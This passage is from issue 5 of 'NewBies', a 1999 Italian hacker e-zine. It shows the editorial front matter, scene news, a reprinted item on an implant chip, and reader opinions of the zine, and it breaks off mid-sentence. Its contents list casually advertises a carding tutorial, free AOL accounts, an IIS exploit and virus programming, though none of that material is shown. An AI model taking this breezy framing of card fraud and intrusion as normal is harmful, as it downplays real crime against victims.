@-,',.,',.,',.,',.,',-@ | _ _ ____ _ | | | \ | | _____ _| __ )(_) ___ ___ | -+- | \| |/ _ \ \ /\ / / _ \| |/ _ Y __|-+- : | |\ | __/\ V V /| |_) | | __|__ \ : | |_| \_|\___| \_/\_/ |____/|_|\___|___/ | @-,',.,',.,',.,',.,',-@ NEW BIES (num 5) (data 20/10/99) [ powered By ZeroCool - N0bodY88 - Dante Alighieri ] DISCLAIMER LEGALE ------------------------------------------------------------------------------ IL NEWBIES STAFF NON SI ASSUME NESSUNA RESPONSABILITA' X L'UTILIZZO DELLE TECNICHE SOTTO RIPORTATE, LE QUALI SONO STATE DISTRIBUITE UNICAMENTE X CONDIVIDERE LE CONOSCENZE DA NOI "ACUISITE" (mitico edu...) E PER CERCARE QUALCUNO CON CUI CONFONTARE LE NS ESPERIENZE E LE CONOSCENZE X MIGLIORARE VICENDEVOLMENTE.....DIVERTENDOSI! N0bodY88 of NewBies Staff ------------------------------------------------------------------------------ PREMESSA Questa e-zine e' nata in una giornata qualsiasi di gennaio, mentre 2 newbies stavano parlando tra loro in IRC di non mi ricordo cosa. Da quel fatidico giorno la e-zine e' cresciuta, le persone che ho contattato x scrivere un articolo mi hanno dato la loro disponibilita' e entro alcuni giorni mi hanno fatto avere il loro operato. Alcune persone hanno fatto tardi x notti intere (fra cui il sottoscritto) ed hanno sacrificato il loro tempo x creare qualcosa che fosse nuovo, divertente, che ci facesse diventare + bravi, + amici, + uniti e forse...beh...forse anche + famosi...hihihi! Questo e' quello che abbiamo realizzato insieme, collaborando e scambiandoci opinioni. Se questa e-zine non vi piace, e' troppo semplice o e' stupida non scriveteci (oppure scriveteci x migliorare un art. della e-zine sfruttando le vostre conoscenze) ma se solo sara' piaciuta ad una persona, se solo un ragazzo dopo aver letto questa avra' deciso di passare a linux, di programmare in visual basic, di farsi una propria backdoor o di mettersi a studiare come si usa telnet (troppo poco attrezzato di voci nei menu x essere quello tanto decantato dovunque, ma anche troppo simpatico con il suo prompt a mo di Commodore 64) allora questa e-zine sara' servita a qualcosa. E ricordate...newbies si nasce, hacker si diventa. Buona lettura ^__^ N0bodY88 INTRODUZIONE: Salve a tutti questa volta la intro la faccio io N0bodY88 x darvi il benvenuto a questo 5 numero del ns progetto NewBies, x farvi una precisazione e x dare il benvenuto ad un amico. Prima di tutto diamo un caloroso abbraccio (solo virtuale pero', a meno che siate ragazze, nel qual caso scrivete a dantuzzo!) al mitico Dante Alighieri x la sua "nomina" a co-redattore insieme a me e al (mericano ormai ;) ZeroCool. Mi e' sembrato giusto nominare in tal senso il ns Dantuzzo x il semplice fatto che ha sempre scritto art e soprattutto si e' sempre sbattuto a cercare articoli e a chiederli a chi incontrava. Per questo (ma forse lo avevate gia' visto) ho deciso di metterlo nei [powered by...] il che mi e' sembrata na cosa giusta e carina. L'altra cosa che dovevo dirvi in primis e' che da questo numero NewBies sara' composto (come e' successo in passato ma non lo abbiamo mai dichiarato) di due parti fondamentali. Una in cui gli art vengono scritti x newbies o cmq x chi ha bisogno di una mano, e una in cui gli art saranno di un livello un po' + elevato (piccoli newbies crescono) e x non equivocare sappiate che i miei art sono nella prima zona :) Siccome io non sono dio e non voglio separare le acque (=gli art), imo gli art continueranno ad essere messi tutti insieme cosi' che chi non conosce qualcosa di base possa trovare in NewBies una piacevole lettura, e "forse" d'aiuto. Gli altri, ovvero quelli che girano nella scena gia' da un po', ovvero quelli che come dice un amico NON "sono ai primi telnet, rlogin..." potranno (si spera ;) trovare in NewBies qualke art un po' piu' difficile, qualke spunto x una vita migliore su pc e qualke articolo molto ben fatto (vedi in questo num |CyRaX|). Imo (in my opinion) chiunque si impegni, usi del tempo e un po' di testa sara' da ammirare indipendentemente dall'argomento del suo articolo e dall'"livello tecnico" dello stesso. Per tali motivi quindi non stupitevi di trovare sullo stesso numero art di base di linux e art + avanzati. La ns filosofia e' questa: le cose sono facili quando si sanno...ma se non si sanno? Li', tentiamo di inserirci noi di NewBies con ogni nuovo numero ma siamo anke contenti ed orgogliosi di presentarvi articoli un po' - di base giuntici da chi e' - newbies e + hacker. Io dal canto mio vi dico subito che sono ankora un newbies quindi se aspettate un art. tosto da me... be...aspettate il 30esimo num di NewBies allora =) (se va bene!!!) eheheh Detto cio' non mi resta altro che augurarvi buona lettura e consigliandovi di leggere, provare, sperimentare, progettare, inventare, provare, creare, modificare e anke...se bisogna...reinstallare ;) N0bodY88 "Pippo diventa pazzo quando minni gli lecca il c...." Robertino Rulezza!!!! ͻ ARTICOLO ͹ AUTORE ͹ |PREMESSA N0bodY88 | |INTRODUZIONE ZeroCool | |NOVITA' NewBies Staff | SMAU, CRYPTO, BFI, SPP, WANNABE, AIS, NEWS, UNI, DISLESSICI N0bodY88 CHIP TELEMATICO N0bodY88 LINUX & CO N0bodY88 COME GIUDICANO NEWBIES I NS LETTORI (E NON)? N0bodY88 |INFO SUGLI ALLEGATI NewBies Staff | 2 PAROLE SUGLI ALLEGATI N0bodY88 |PROGRAMMAZIONE NewBies Staff | LA PROGRAMMAZIONE DEI SOCKET AD USO ED ABUSO DEI CEREBROLESI Master CONVERSIONE DI PROGRAMMI UNIX -> WINDOWS Master IL LINGUAGGIO HTML - FONDAMENTALI *** Firebeam |CRITTOGRAFIA NewBies Staff | GLI ALGORITMI IN USO NEL PGP [aLT255] ALGORITMO WIPE-WAY (PROTEGGIAMO I NOSTRI DATI Quequero |CRACKING NewBies Staff | TRASFORMARE UN PROGRAMMA IN UN GENERATORE DI CHIAVI +MaLaTTiA ACDSEE32 2.41 CRACKING Cod MA QUANTO MI COSTI 3.0 Ritz TRESSETTE 3.0 CRACKING Cod COME INSERIRE UNA NUOVA SEZIONE E UNA NUOVA FUNZIONE IN UN PE Pusillus DIAMO I NUMERI CON WINAMP Johnny BUDDYPHONE 2.03 CRACKING Cod |TEORIA NewBies Staff | INTERATTIVITA' [-W|NZ-] TRATTATO SULLA SICUREZZA INFORMATICA ZeroCool MAXI GUIDA SU COME FARSI UN CD-ROM CON CDRWIN 3.7C Nitro The Demon COME CALCOLARE IL CODICE FISCALE Vejeta99 |TRADUZIONI NewBies Staff | PROTOCOLLO INTERNET RELAY CHAT - RFC 1459 *** [Ironman] BREVE CONFRONTO COMANDI TRA VMS E UNIX N0bodY88 |LE INTERVISTE E LE NOTTATE IMPOSSIBILI NewBies Staff | INTERVISTA ALLO SMILZO N0bodY88 ARTICOLOZZO BY HARLOK - BLINKING - N0BODY88 CrAzYsTaFF SMAU 4 INSANES _p0nic0_ |PHREAKING NewBies Staff | IL SISTEMA GSM *** Nick1 PHREAKING, SEGRETERIE E CAZZATE VARIE mR_bIs0n-Mr_Skull MAMMA TELEKOM DIVENTA + FURBA ReZ E' POSSIBILE COPIARE SCHEDE MAGNETICHE? N0bodY88 |LINUX - UNIX - VARI NewBies Staff | I COMANDI FTP Napo OTTENERE IL ROOT SENZA DIGITARE PASSWORD ALCUNA Avogrado ALCUNE UTILITY INDISPENSABILI Zippy2k COME FUNZIA L'HPING DarK_Elf MINI DISTRIBUZIONI LINUX JohnnyRunner COMANDI PER LA GESTIONE DI FILESYSTEMS Barninga Z! SHELL- LOCK |_|R|<3S JOBS DI SHELL rwxrw-r-x MTOOLS OVVERO COME VIVERE IN DOS SOTTO LINUX ;) N0bodY88 |IL MONDO DI IRC NewBies Staff | HACK IRC Th3_1n7rud3r SCRIPT X MIRC (PER L'UTILIZZZO DI UN BOT) XuNiL |HACKING DI TUTTO DI PIU' E DIVERSI ART. MOLTO INTERESSANTI NewBies Staff | WINGATE WITH ALL 1.0 |CyRaX| X.25 FOR FUN AND PROFITS, BUT MUCH MORE FOR FUN L0rD`n0p1 HACKING: TUTTO QUELLO CHE C'E' DA SAPERE M4VER1CK COME CAMBIARE QUEL BRUTTO START SUL MENUZ AVVIO IN WINZ Vejeta COSA SI PUO' FARE IN UNA WEB-CHAT (X rEaL NEWBIEs) F3D3R1[0 GOCCIA A GOCCIA...IL VASO TRABOCCA Dante Alighieri EXPLOIT PER IIS SERVER V 4.0 AX1S COME FAR DIRE IL ROSARIO ALL'UTENTE DI WINDOWS The_Intruder BUG DELLE ROULETTE DA BAR Jenji & Avatar FOTTING mR_bIs0n BREVE RIFLESSIONE SUL MILLENIUM BUG... Cod PROTAGORA RULEZZA!!! Dante Alighieri CARDING TUTORIAL (OVVERO LA GUIDA DEL "CARDATORE ITALIANO") XaRaBaS AMERICAN ON LINE (COME AVERE UN ABBONAMENTO GRATIS) XuNiL LA DURA ARTE DEL WRITING *** r3b0oT |PROGRAMMAZIONE VIRALE NewBies Staff | VIRUS PROGRAMMING (BASIC) XaRaBaS |SALUTI NewBies Staff | |THIS NUMBA IS DEDICATED BY N0bodY88 TO: N0bodY88 | |CHIAVE PUBBLICA PGP BY N0bodY88 N0bodY88 | *** = gli articoli seguiti dai precedenti 3 asterischi sono allegati nello zip della e-zine a causa della loro diversa natura dal normale txt (es: il caso del doc sui gsm di Nick1 che e' in .pdf leggibile tramite il prog Acrobat Reader) mentre in altri casi anke se si poteva convertire in txt e' stato scelto di lasciare il file cosi' come era (es: la guida di html di Firebeam in .html ). E questo e' quanto ;) ۰۰۰۰۰۰۰۰ ۰۰۲۰۰۰۰۰۰۰۰ ۰۰۰۲۰۰۰۰۰۰۰۲۰ ۰۰۲۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ͻ Ŀ SMAU, CRYPTO, BFI, SPP, WANNABE, AIS, NEWS, UNI, DISLESSICI ٺ ͼ Ecco qui le novita' avvenute negli ultimi tempi che vi andro' ad elencare col mio solito modo: SMAU: quest'anno allo Smau si e' svolto una specie di hack-it99b e x questo sono stati visti i seguenti acari informaticus: c'era una folta rappresentanza del BFI staff, alcuni dei Ring0, alcuni (purtroppo pochi) Spippolatori, neo-spp e simpatizzanti, si e' visto qualkuno della olografix (Smilzo :), alcuni (che se no me se sentivo 'npo' solo;) del NewBies Staff e ho conosciuto e rivisto + amici di quelli che sognavo! In + nascosti tra stand, pezzi di fig... etc sono riuscito a scovare (grazie bb!) il coautore di Spaghetti Hacker ovvero il mitico Andrea Monti con cui ho fatto una piacevole chiacchierata sulla validita' dei disclaimer, e un altro grande rappresentante della scena italiana, cioe' +Malattia che colgo l'occasione x salutare e al quale mando un "in culo alla balena" x cio' che sta realizzando e che speriamo di potervi far sapere presto :) Un grande saluto va a RigoR MorteM (tnx x il libri di Mishima), ad Harlok degli Spaghetti (x i cd, la robba, la pizza alle 4 di mattina e), a Blinking (x cio' che sa lui), a Berry (x la maglietta che portava allo Smau con scritto su Berry Rulez!!!!), all'indimentica bile Jamil (x il + grande abbraccio che abbia mai dato e ricevuto :), e a Vecna x avere reso possibile il fatto che uno che scriveva su NewBies possa scrivere su BFI :) Purtroppo dopo i 2 gg di sab/dom dello smau ognuno e' dovuto tornare a casa dalla findanzata o dai genitori e dai soliti problemi, ognuno con in cuore la speranza di rivedersi prima possibile e con la felicita' di avere abbinato qualke altra faccia a qualke altro nick... ultimo ps: zerocool...cavallo...xoanon...pigpen dove eravate??? CRYPTO: tra le novita' di questo numero vi presnto con molto piacere il sito di aLT255 che si intitola crypto...come mai? Semplice, ci chiama cosi' xche' tratta di tutto quello che riguarda la crittografia e infatti potete trovarvi di tutto (sorgenti, articoli in italiano soprattutto (o tradotti) spiegazioni dei vari metodi crittografici e molto altro quindi...inutile dire che se non ci andate verrete picchiati a sangue con una copia rilegata di NewBies 3 ==) e credetemi fa male!!! hihihi Complimenti ancora ad aLT255 e x il link...be...lo trovate nella ns lista dei link ai siti migliori echecaspiterina!!! Cmq x i pigri che non vogliono scorrere le pagine fino ai link --> http://kz.cjb.net BFI: allora BFI e' sempre + sulla cresta dell'onda e anke se non sono stati sfornati nuovi numeri da potervi consigliare posso solo dirvi di aspet tare moooolto impazientemente xche' ho visto alcuni art di quelli che comporranno BFI 7 e ho anke saputo di alcuni dei nuovi autori e credetemi di qualunque gruppo siate e/o a qualunque "stato" siate (hacker-newbies- peggio!!!) non potrete che rimanere a bocca aperta solo scorrendo un attimo la lista degli articoli con a lato gli autori...che dire...il sito lo sapete...ahhhhh...mi scusino ancora quelli del S0ftpj x l'errato link dato in NewBies 4...errare umanum est (come? si vede che ho fatto ragioneria??? da cosa???? hihihi) SPIPPOLATORI: novita' novita'!!! Allora in questo ultimo periodo in casa Spp ci sono state molte novita' a partire dalla nuova bi-faccia del sito Spp ora in versione testo e versione grafica (curata dal l'esperto grafico Ergoline). Come sempre i ns complimenti ai webmaster RigoR MorteM e Ergoline. Ma c'e' un'altra novita'!!! Quale??? direte voi! Ebbene si e' uscito NetRunners 8 e io me lo sto leggendo di notte (l'unico momento in cui riesco a leggere in questo periodo!) divorandone pagine e pagine quindi browser puntati al sito www.spippolatori.com e puntate un okkio ai riddle di Master x vedere se riuscite a risolverli...ps... saluti allo Spippolatore Wurzel (altro orgoglioso della "scuola" NewBies) e al/la piccolo/a wurzellino/a che sara' uno dei nuovi guru-hacker tra 6-7 anni ;) (T. Morris rulezzzzz) WANNABE: non conoscete Wannabe???? Allora fatevi un giro sul fantastico sito http://www.attilahack.cjb.net e li' potete trovare la nuovo (e promettente) e-zine Wannabe fatta dagli Attila Hack e Wannabe Staff che potete scaricare e leggere comodamente offline oppure (se siete all'uni e nun pagate voi la bolletta ;) leggere direttamente online. Su questa nuova e-zine c'e' da dire che ci sono ottimi articoli e lo staff che ci sta dietro sembra essere molto competente e con un bel po' di esperienza alle spalle. Per i lettori va un "leggetevela subito!!!" mentre allo staff di Wannabe e a Bobo vanno i miei complimenti x l'ottimo risultato ottenuto e un bocca in lupo x i prossimi numeri che prevedo non deluderanno il pubblico di newbies e/o hacker. ANARCHY IN THE SYSTEM: la conoscete???? Se non la conoscete AIS e' un'altra e-zine uscita da poco interessante x chi si sente anarchico ma che offre anke buoni articoli di cracking, hacking e phreaking quindi io una letta ve consiglio di sicuro...dove trovarla? Eccovi la risposta http://aisprod.tsx.org Colgo l'occasione x fare i complimenti allo staff di AIS e all'ottimo OlDiroN 61 che ha avuto il fegato di creare questa e-zine e di provare con questo progetto che spero diventi presto un punto di riferimento come lo sono diventate BFI e NetRunners degli amici Spp. DISLESSICI: x i poki malati di mente che non conoscessero questo notissimo (a ben donde) sito (http://www.dislessici.org) fatto dall'omonimo gruppo sappiate che i Dislessici sono un gruppo di esperti smanet toni di Unix e Linux che si dedicano alla programmazione e allo studio dei vari sistemi operativi Unix e Unix like e che sfornano testi su testi di studi sui suddetti so. Da notare anke gli ottimi articoli di crittografia presenti sul sito e la grafica stessa del sito. X chi avesse nostalgia delle gesta del gruppo Il Timone vi e' poi la sezione Lamer dove capirete xche' Timone e Lamah vanno cosi' d'accordo. Colgo l'occasione x salutare Nt Flander e LordFelix entrambi ottimi amici pronti ad aiutare sia x problemi inerenti i pc sia x dare una mano "psicologica" (diciamo che senza lordfelix NewBies 5 non sarebbe uscita...e non so se sarebbe stato un bene =) hihihi). NEWS: poche righe x dirvi di un sito dove vi sono News, di hacking crittogra fia cracking e phreaking e tutto cio' che fa parte del ns mondo, che vengono aggiornate ogni gg!!! Dove, direte voi??? Ma dove se non sul stramegaextraconosciuto sito www.s0ftpj.org dove Black Berry non si puo' certo lamentare di non avere un cax da fare quindi...andateci in massa!!!!!! N0bodY88 "La sicurezza di un crittosistema non deve dipendere dalla segretezza del l'algoritmo usato, ma solo dalla segretezza della chiave" Kerckhoffs ͻ Ŀ CHIP TELEMATICO ٺ ͼ Nell'ultimo numero delle "Novita' su VOLftp" e' stato pubblicato il seguente articolo che ho ritenuto opportuno portare alla vs attenzione x potervi dire che il cyberpunk e' sempre + vicino, gli innesti non sono poi cosi' lontanti e Gibson, Sterling e il strafantastico Akira Mishima non erano poi cosi' tanto visionari come si pensava ;) Cmq sta a voi decidere se cio' che segue e' una bella notizia o no quindi che altro dirvi? Buona lettura :D Il chip telepatico ================== Quali strabilianti invenzioni ci attendono nel nuovo millennio? Kevin Warwick, docente di cibernetica all'Universita' britannica di Reading, e' assolutamente convinto sia possibile collegare un chip al complesso sistema nervoso dell'uomo. Secondo il ricercatore inglese entro qualche anno sara' possibile testare il chip anche sul piano telepatico. Il grande obiettivo da raggiungere per Warwick e' quello di creare un chip tale da permettere agli uomini di comunicare con il pensiero. Di interagire con i computer e con le macchine che ne hanno uno (un sistema elettronico con chip ricevente), di compiere azioni semplicemente pensandole. Un chip che potrebbe cambiare il mondo! Il primo passo di questa incredibile ricerca e' l'innesto, sara' effettuato entro breve, del chip sperimentale nel braccio di un volontario: si dovra' testare, come prima cosa, la compatibilita' del chip con l'arto umano. Una volta risolti eventuali problemi di innesto del chip nel corpo umano si passera' subito ad esperimenti pratici: comunicazione tra umano e macchine (per l'esecuzione di semplici ordini). Warwick assicura che entro la meta' del prossimo secolo si riuscira' a comunicare le emozioni telepaticamente. E dopo le emozioni si tentera' di trasmettere, per via telepatica, anche vere e proprie frasi. Un tnx alla redazione di VOLftp e all'autore di tale articolo (se qualcuno ne conosce il nome me lo dica che lo mettero' nel num di NewBies successivo). N0bodY88 ͻ Ŀ LINUX & CO ٺ ͼ Innanzitutto scusate se vi sto aumentando sempre piu' il tempo che vi stacca dall'arrivare ai vari articoli di NewBies ma credetemi sta volta e' x una nobile causa. Allora conoscete Linux & co? Noooooooo!!!!!! E allora che aspettate... correte in edicola! In edicola, direte voi, e che ci vado a fa? Li' non c'e' nessun giornale dedicato esclusivamente a Linux!! Ebbene questo e' vero, o meglio...era vero xche' dal 20 ottobre in tutte le edicole di Italia troverete il bellissimo giornale Linux & co creato dal gruppo Dislessici in collaborazione con altri (i.e. AntiRez). Ve lo consiglio xche' sono stato uno dei fortunati a sapere che allo smau vi era il numero 0 gratis presso lo stand della Red Hat e ad essere sincero me lo sono pappato in 4 gg e devo dire che e' dedicato sia a chi come me apprezza sempre art sui tipi di distribuzione e sui loro vantaggi e svantaggi x decidere che cosa installare, ma anke a chi voglia studiarsi un po' meglio linux o voglia darsi al compilare con gcc (ottimo quell'art). Finisco col consigliarvi quindi di andare subito in edicola a comprarlo forte del fatto che dal numero 1 sara' accluso anke un cd con tante belle cosucce x i ns linuzzi vergini e non. Tanti complimenti alla redazione di Linux & co e a tutti quelli che hanno contribuito a creare e portare avanti un'altra di quelle cose atipiche e fuori coro, come lo sono gia' state il libro Spaghetti Hacker, il libro Segreti, Spie e codici cifrati e il fresco di stampa Open Source altro prodotto uscito dalle mani di Andrea Monti, che, credetemi, e' uno con 2 palle cosi' !!!!! Direttamente dall'agglomerato N0bodY88 ͻ Ŀ COME GIUDICANO NEWBIES I NS LETTORI (E NON)? ٺ ͼ PREMESSA: chi mi conosce sa che non ho mai voluto fare una classifica delle e-zine momentanemante attive e non ho mai voluto neanche fare confronti forte del fatto che qualunque e-zine, anke se (come noi) alcune volte con poche nozioni tecniche o poche novita', sia da elogiare x il semplice fatto che esista e x il fatto che chi ha scritto si e' fatto un ( )( ) cosi' o ha sudato sangue x ogni kb conquistato. Conosco quasi tutti i redattori delle altre riviste e da quello che ho potuto notare anke loro credono nell'aiuto reciproco e se fanno critiche il 100% delle volte sono costruttive. ALLORA XCHE' QUEST'ARTICOLO?: in vita mia non mi sono mai sentito migliore di nessuno, ho trattato (o meglio cercato di trattare) sempre tutti allo stesso modo, si chiamasse il mio interlocutore \sPIRIT\ di BFI o pincusdepalla di vatelapesca. Per il ns progetto NewBies (dove x ns intendo di tutti quelli che hanno dato una mano a crearla e a continuarla, xcio' anke tutti voi che leggete) e' stata sempre la stessa cosa, io chiedevo art e parlavo con chi scriveva e/o leggeva forte del fatto che anke la + grande/piccola critica potesse portare ad un ulteriore miglioramento della rivista e (forse) delle ns idee. Piu' di una volta mi sono sentito dire che newbies non era bella e che quello che scrivevavmo erano cose banali e x questo non mi sono mai offeso x il semplice fatto che le cose sono semplici se le sai ...ma se non le sai? Cio' deriva anke dal fatto che x ogni hacker/ smanettone/cracker/phreaker etc ce ne sono 1000 che vogliono imparare o vanno anke solo in cerca di un piccolo aiuto, il link giusto, la spiegazione di 10 parole che pero' ci fa capire un tut di 20 pag! Proprio x questo motivo nessuno di noi ha mai affermato (e se qualcuno l'ha fatto che gli si possano incollare le dita alla tastiera tecnosciamanica di PigPen!!!) che NewBies e' la migliore rivista in giro, che quello che diciamo noi e' 100% nuovo o che sono cose mai viste. Questo lo possiamo lasciare dire allo staff s0ftpj di BFI che ne hanno molto piu' diritto. Ma allora xche' hai voluto raccogliere un po' di opinioni su cosa ne pensava la gente di NewBies?Il motivo e' questo. Una 20ina di gg fa un gruppo di persone di cui non voglio fare nomi hanno cominciato a tartassarmi di frasi del tipo "Newbies e' una e-zine lamer" "Newbies non e' neanke una e-zine" "NewBies fa skifo" "Voi fate vergognare bfi di esistere" e altre cosucce di questo genere tutte cosi' carine, alche' mi sono detto "e se questo fosse il pensiero di tutti?". Allora mi sono messo a "rompere" letteralmente le balle a tutti quelli che incontravo facendo la fatidica domanda: "che ne pensi di NewBies?" Il mio intento non era quindi quello di vantarmi o deprimermi mostrando le risposte su questo num di NewBies ma era vedere se effettivamente era come me la aveva descritta quel gruppo di persone e se fosse stato come e' stato (fiuuuu) saremmo andati avanti, altrimenti avremmo detto "ok e' stata una bella esperienza, abbiamo conosciuto molta gente e siamo migliorati insieme". Vi lascio ora con un po' di risposte di gente +o- conosciuta (imo poco importa) x dimostrare a quel gruppo di persone che almeno non sono l'unico x il quale NewBies e' utile o anke solo un po' piacevole: DOMANDA: Che ne pensi di NewBies? RISPOSTE: BY ANONIMO gia' il volerci provare.. e' una cosa buona.. fregatene di cio' che altri.. possono dire.. e ricorda.. parecchi sono solo fumo e niente arrosto BY Master Il pensiero spassionato di Master su Newbies: Da quando e' nata la comunicazione tra le genti c'e' stata la necessita di scrivere le proprio esperienze su un supporto che fosse meno labile e piu' fruibile della memoria personale. Da allora tutti scriviamo cercando di essere per quanto possibile sopra le righe e infatti spesso si misura l'abilita' di un scrittore anche in base al coraggio col quale propone le sue idee. Newbies e' una rivista fatta da persone che propongono pubblicamente e gratuitamente le loro esperienze al fine di poter dare un aiuto agli altri. Spesso si puo' intravedere una motivazione finale distruttiva in alcuni articoli tanto da citare quegli specifici brani di lameraggio, in altri casi si va sullo squisitamente tecnico ed in altri si rasenta il comico per l'assoluta distanza dal mondo hacking etico. Ma del resto il termine Newbies cosa significa del resto ? .. significa 'pivello hacker' .. pivello nel senso migliore del termine. Il pivello hacker e quello che ancora non sa esttamente tutto ma ha una grande voglia di imparare. Il Pivello hacker e' quello che mette a nudo le proprie inesperienze per cercare di confrontarsi con altri al fine di migliorare se stesso. E' anche quello che a volte sbaglia ma che poi dall'errore ne trae spunto per non incorrere successivamente nelle stesse metodiche errate. Insomma un curioso a 360 gradi. Newbies e' appunto cosi'.. curiosa e varia come vario e' il mondo dell'hacking..o meglio come varia e' la vita. Facendo un paragone con altre riviste tipo Netrunner o Bfi si potrebbe asserire che newbies ogni tanto oltrevarica i limiti del consentito e del lecito. Questo puo' essere.. cmq sempre nell'ambito della discussione accademica. Nessuno finora puo' asserire (ne lo potra' mai) che sia mai stato esercitato un qualunque invito esplicito alla illegalita' .. ogni articolo e' solo il tentativo di mettere in risalto con considerazioni e prove, piu' o meno esplicite, bug e malfunzionamenti di determinati sistemi.. lo scopo finale non e' ne vorra' mai essere l'utilizzo di questi bug per l'ottenimento di un ricavo personale ma solo un sistema per l'accrescimento della cultura personale attraverso lo studio metologie tecniche e il conseguente tentativo di miglioramento dei sistemi stessi. Non si confonda poi lo spirito goliardico col quale vengono scritti alcuni articoli con altre cose inesistenti. Newbie e' una strumento che promette o incita ma solo un qualcosa di gratuito e sofferto che un insieme di persone di varia eta' ed estrazione sociale (veramente varia!) cercano di comporre unendo i loro sforzi. La lettura non e' obbligata .. la bellezza di cio' che e' pubblico risiede anche in questo: la dove non si offende nessuno si puo' sempre decidere a priori di non leggere ulteriormente cio' che non ci piace! Se invece qualche articolo sara' stato di vostro gradimento o di una qualche utilita'.. beh .. allora ogni singolo sforzo ed ogni singolo goccia di sudore delle persone che hanno contribuito alla stesura della rivista sara' stato riccamente ricompensato. ;-) BY ANONIMO per me, visto a chi e' rivolto ... va piu' che bene.... poi mi sembra che se qualcuno volesse leggere qualcosa di meglio..... e' libero di andare da qualche altra parte... o no? BY LordFelix allora ti faccio una cosa sintetica qui secondo me ci sono due tipi di persone che possono criticarvi quelli che si spacciano per "grandi hacker" e che quindi credono di poter ammettere di leggere solo bfi per non rovinarsi "la piazza" oppure qualche guru nel vero senso della parola che non vuole perdere tempo con cose che gia' sa dato che credo che per uno della seconda categoria ce ne sono 1200 di quelli della prima.... beh... non posso che farti i migliori auguri per i prossimi 50 numeri Personalmente trovo la rivista ben fatta e godibile anche da chi newbie (si spera) non lo e' piu' BY ANONIMO Nobody88 mi ha chiesto di scrivere il mio parere sulla rivista Newbies e devo ammettere che mai mi e' successo di "giudicare" una rivista, piu' che altro perche' non mi sento di essere un lettore "tipo" di Newbies. Bene accetto la req scrivo qualcosa, che poi avevo gia'detto all'ottimo Nobody88 in quel dello Smau. Newbies e' nata per colmare quel target di gente della situazione italiana che sa 'qualcosa', e' alle prime armi, ai primi telnet e rlogin e alle prime righe di codice, ma necessita di piccoli input. La zine ha quindi l'importante obbiettivo di condividere le informazioni. INFORMATIONS MUST BE FREE! Quando una persona si crede cosi' Elite da dire che Newbies e' una zine Lame, vuol dire che non ha capito nemmeno il significato della parola lame. Per lame si intende colui che vuole imparare tutto e subito e cerca di rompere le palle alla prima persona che ritiene piu' "esperta" di lui. Una zine che di per se si dichiara NEWBIE vuol dire che raccolgie un gruppo di persone non molto esperte, ma, a parer mio, una grande dote, la voglia di imparare, di farsi letteralmente il culo e non di ridursi a chiedere TUTTOQUELLOCHESIDEVESAPERE al primo tipo che gli capita a tiro. I newbies chiedono qualche consiglio per correggere le loro lacune e reindirizzare meglio la loro ricerca, i lame spaccano le scatole e basta. Naturalmente non sto affatto cercando di classificare nessuno, ho solo dato la mia opinione, siete liberi di fregarvene, di prenderne atto o di condividerla, non importa :P L'importante e' riflettere! Buon Lavoro NewBies Anonimo Ps: Adulare e' la peggior strada per ottenere informazioni. BY rwxrw-r-x che ne pensi di newbies? Beh, io sono una persona che nella vita si smazza parecchio per ottenere quello che vuole, in rete ho sempre trovato poca roba, e allora mi sono sempre dovuto buttare su inutili riviste giornalistiche (anche se non tutte), e sui manualoni di Unix e di C per cominciare a capire qualcosa Poi in rete a mala pena ti danno retta, ti devi solo e soltanto smazzare da solo per riuscire a capirci. Molta gente inoltre se la tira per quello che sa, quando ha capito qcs ed e' riuscita ad ingranare nel verso giusto, cominciano a darsi un po' di rispetto. La prima rivista che veramente ha significato qcs per me e per il mio pc e' stata BFi, sicuramente Newbie non puo' essere paragonata a quei livelli, ma all'interno di essa c'e' gente che ci lavora e che crede in cio' che fa. Credo sia giusto aiutarsi e scambiarsi idee ed esperienze , questo e' l'unico modo per riuscire ad ottenere veramente qualcosa. BY Ergoline a me personalmente piace ma mi pare inutile mettersi a discurtere con certa gente cioe'... io apprezzo chi "fa" e non si limita a criticare per il gusto di farlo voi siete gente che fate.. loro invece mi sa che parlano solo e non sanno apprezzare il vostro impegno BY A-SyNcHr0 una cosa interessante, molto utile per chi ha delle curiosita' e vuole imparare di piu' e magari rimane un po' spaventato leggendo bfi. Solo in alcuni articoli cala un po' il tono BY ANONIMO decente e-zine...purtroppo spesso dal basso livello tecnico...ma e' un e-zine fatta da newbie per newbie...quindi e' logico che lo sia MIIIIIIITICAAAAAAAAAaaaaaaaaaa BY F4lc0n newbies e' una bella ezine, fatta appunto per chi sta imparando nel mondo dell'hacking... certo non e' l'unica sul mercato e fa una bella concorrenza alle altre + famose non so, tipo netrunners o bfi BY Ritz Dunque... secondo me attualmente newbies e' una rivista bene organizzata, ci sono varie persone che collaborano, e penso che sia una bouna zine. BY ANONIMO lo diko a te, perke` ti konosko e non mi sembri una mala persona ma un qualsiasi lamerino che mi viene a chiedere ma perke` dici cosi`? ma lo fai perke` sei piu` bravo kome m`e` gia` kapitato, that`s not funny :) BY Spark e' una rivista "educativa" impari, divertendoti BY M4VER1CK E' un'ottima rivista x ki vuole imparare.... senza paroloni.... e molto efficacie.... giusto x ki vuole imparare... ekko tutto :) BY XaRaBaS beh........... NEVER MIND! ti va sta risposta? :-D Newbies e' x sempre BY DEVILNET credo che nb sia l'ezine migliore x chi inizia tutti amici ogni articolo serve a condividere ogni esperienza di hack crack ph la trovo molto interessante proprio x la semplicita' e cmq il fatto che possa anke io pubblicare articoli mi fa sentire in una famiglia :) siamo tutti amici uniti tutti da una stessa passione NB E' IL MEGLIO !! BY [LiQUID] che e' una gran topa di ezine =) BY BlakDruiD dato che c'e' un mio articolo, newbies e' una figata...:) BY Yoda100 Grande rivista BY r3b0oT e' bella l'idea che venga scritta da newbies e che spazi in un po' tutti i campi... non solo nell'hacking BY YAGO Di newbie penso che sia uno strumento utile a chi inizia e anche a chi c'e gia' dentro internet. Inoltre diffondere informazione e' un opera importante in qualsiasi campo dove c'e' la chiusura in corporazioni BY THE INTRUDER che era cio' che mancava... mi spiego: altre e-zines tipo Bfi sono ugualmente belle, ma per chi e' alle prime armi o vuole imparare sono un po' troppo difficili.. BY Spymaster beh penso semplicemente ke ci sono alkuni artikoli ke non rientrano nella kategoria newbies ma lamer si dovrebbe un po' alzare in tiro es. potrebbe essere fare un art sull'uso di dselect oppure kesso' kome kreare un vhost BY Teresa Canis guarda solo per il fatto che e' curata e aggiornata il mio giudizio e' ottimo ! BY Aladar mi sembra una bella iniziativa, anche se in questo periodo non mi sto dedicando molto all'hacking e co. Sono un po' incasinato. Comunque e' bene che queste ezines esistano By Darkman be' che dovrei dire?... considero il lavoro che fate... cioe'... tutta quella quantita' di Kb che 